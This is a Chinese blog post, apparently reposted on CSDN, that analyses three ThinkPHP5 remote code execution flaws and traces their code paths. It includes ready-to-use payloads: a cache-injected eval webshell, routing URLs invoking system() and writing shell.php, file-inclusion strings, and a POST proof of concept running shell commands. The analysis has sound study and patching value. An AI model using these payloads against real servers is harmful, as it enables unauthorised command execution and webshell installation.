thinkphp5 两个控制器传参数_Thinkphp5代码执行学习

本文详细分析了ThinkPHP5框架中的两个安全漏洞:缓存类远程代码执行(RCE)和方法任意调用导致的RCE。通过未开启强制路由和可控的$_POST数据,攻击者可以利用这些漏洞执行任意代码。文章给出了受影响的版本、漏洞原理、环境搭建和测试payload,揭示了RCE发生的路径和过程。
摘要由CSDN通过智能技术生成

85a309f3adfc3ab467269fb4d1691e52.png

缓存类RCE

  • 版本

5.0.0<=ThinkPHP5<=5.0.10

  • Tp框架搭建

aa709478701d4201c1d895fab4dbc967.png
  • 环境搭建

a5e8fb1e5720144d2d72f4518b2e61d3.png
  • 测试payload
?username=syst1m%0d%0a@eval($_GET[_]);//

可以看到已经写入了缓存

4a353e306787effafcad4f7f1f848f3c.png

漏洞分析

  • thinkphp/library/think/Cache.php:126

先跟踪一下Cache类的set方法

8e87b8a65f68fbed3c23e5205be73715.png
  • thinkphp/library/think/Cache.php:63

跟踪一下init方法,这里的self::$handler默认值是File,为thinkcachedriverFile 类实例

542df63836240c2c007aad4a3decb9ad.png

1d8d2b828acee539cd71e1bb86564201.png
  • thinkphp/library/think/Cache.php:36

跟进connect方法

6650e789a2c79de5cb065d37002b4fac.png

先打印一下options内容

array (size=4)
  'type' => string 'File' (length=4)
  'path' => string '/Applications/MAMP/htdocs/runtime/cache/' (length=40)
  'prefix' => string '' (length=0)
  'expire' => int 0

type为file,先赋值一个$name,class为thinkcachedriverFile

  • thinkphp/library/think/cache/driver/File.php:137

跟踪一下File类的set方法

bb92ac4f16f4db80ecad243e5a22816c.png
  • thinkphp/library/think/cache/driver/File.php:67

跟进文件名生成方法,程序先获得键名的 md5 值,然后将该 md5 值的前 2 个字符作为缓存子目录,后 30 字符作为缓存文件名。

bb92ac4f16f4db80ecad243e5a22816c.png

$data变量为序列化的值,没有进行过滤直接将内容写进了缓存,前面有//注释符,可以通过注入换行符绕过该限制。

efb7a0ec1a97e12f2654025c7b5a214d.png

未开启强制路由导致rce

  • 影响版本

5.0.7<=ThinkPHP<=5.0.22

  • payload

5.1.x :

?s=index/thinkRequest/input&filter[]=system&data=pwd
?s=index/thinkviewdriverPhp/display&content=<?php phpinfo();?>
?s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.x :

?s=index/thinkconfig/get&name=database.username # 获取配置信息
?s=index/thinkLang/load&file=../../test.jpg    # 包含任意文件
?s=index/thinkConfig/load&file=../../t.php     # 包含任意.php文件
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
  • 环境搭建

0b872c66ba324647c7bd960a4ad2de44.png
  • 测试payload
index.php?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

4d6f391fac73b3e7435c2a6e4fdf2466.png

漏洞分析

默认情况下安装的 ThinkPHP 是没有开启强制路由选项,而且默认开启路由兼容模式

0ce0a59503939f521c855d1f39acd9ee.png

?s=模块/控制器/方法 所有用户参数都会经过 Request 类的 input 方法处理,该方法会调用 filterValue 方法,而 filterValue 方法中使用了 call_user_func,尝试利用这个方法。访问如下链接

*?s=index/thinkRequest/input&filter[]=system&data=whoami

ab8bbb1017449c92d8ef58e5d3e603bd.png
  • thinkphp/library/think/route/dispatch/Module.php:70

于获取控制器点打断点

930e9d6e2db7499b5b27d21651d1b9bc.png

程序会跳到thinkphp/library/think/App.php的run方法,在路由检测地打个断点,重新请求

  • thinkphp/library/think/App.php:583

于routeCheck方法对路由进行了检测,

thinkphp/library/think/route/dispatch/Url.php:23

出来的dispatch为index|thinkRequest|input,将替换成了|,然后进入init方法

9e29ac028f17c2a4ec94cb0886535c6b.png
  • thinkphp/library/think/App.php:402

经过路由检测之后的dispatch为:

9f62863f9bc6885f9c0c796069a74f5a.png
  • thinkphp/library/think/App.php:431

487f39e00f13e2bb8430240082dc1e58.png
  • thinkphp/library/think/route/Dispatch.php:168

跟进Dispatch类的run方法

0b0fad296957d032b3bc0635950d65b7.png
  • thinkphp/library/think/route/dispatch/Module.php:84

执行exec函数,跟进函数

e4cf80e020308a5f4644fc37bd22dcb1.png

利用反射机制,调用类的方法

72db33f4fd5288281e492dab5a516a54.png
  • thinkphp/library/think/Container.php:391

52ff380a187ade2b2453870973d00fff.png
  • thinkphp/library/think/Request.php:1358

进入input(),$this->filterValue()处理

2be3248d7769135b67157d7d6bbc75d3.png
  • thinkphp/library/think/Request.php:1437

跟进后执行call_user_func(),实现rce

e036a0b8104db498e2f8cf377fef877c.png

method任意调用方法导致rce

  • 版本

5.0.0<=ThinkPHP5<=5.0.23

  • 环境搭建

433ad012530a1e1022734aa34cd4dbd9.png
  • 测试payload

f11d33dcb178e011c1c19efeb7a36e86.png

漏洞分析

  • thinkphp/library/think/Request.php:524

$method 来自可控的 $_POST 数组,而且在获取之后没有进行任何检查,直接把它作为 Request 类的方法进行调用,同时,该方法传入的参数是可控数据 $_POST,可以随意调用 Request 类的部分方法。

bf76787c9dd24c7c6bed288d996655a3.png
  • 搜索var_method,值为_method

471cc4103684739bf4b0c7820ea923d9.png
  • thinkphp/library/think/Request.php:135

查看request类的__construct方法,可以覆盖类属性,那么我们可以通过覆盖Request类的属性.

e51afd713f1122c49e4b837cf1ecbdce.png

d69e22b5c71122688729f1b344ef01bc.png
  • thinkphp/library/think/App.php:126

如果开启了debug,则调用$request->param()方法,

d40a044444478e63dd93156118190563.png
  • thinkphp/library/think/Request.php:637

跟进param方法,发现调用了$this->method

cf2eadb52aa99ad75fd048ee446e1899.png
  • thinkphp/library/think/Request.php:862

跟踪到server方法,把$this->server 传入了 input 方法,这个this->server 的值,我们可以通过先前 Request 类的 construct 方法来覆盖赋值,filter 的值部分来自 this->filter ,又是可以通过先前 Request 类的 construct 方法来覆盖赋值

17ac1b3c1d7032f198003c4ab02b63cc.png
  • thinkphp/library/think/Request.php:1034

进入input方法的filterValue,进入call_user_func回调,造成RCE漏洞的产生

ba4d6a825f004322b6deae4ee1537dfd.png

如果没有开启debug

  • thinkphp/library/think/App.php:445

在exec方法中,当$dispatch['type']等于method或者controller时候,也会调用param()方法

e5f8f5ce1c6d3e3d0108b9c9fc04ebd0.png
  • thinkphp/library/think/Route.php:918

dispatch['type'] 来源于 parseRule 方法中的 result 变量,$route 变量取决于程序中定义的路由地址方式

f8390ed8f068e4109bb30fadf79c6736.png

只要是存在的路由就可以使dispatch['type']成立,而在 ThinkPHP5 完整版中,定义了验证码类的路由地址?s=captcha,默认这个方法就能使$dispatch=method从而进入Request::instance()->param(),使条件成立。

  • poc
POST /index.php?s=captcha HTTP/1.1

_method=__construct&filter[]=system&method=get&get[]=ls+-al

原文地址:

Thinkphp5 RCE​syst1m.com
d9d87416cb3b8bab8e828a0ddf402613.png
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值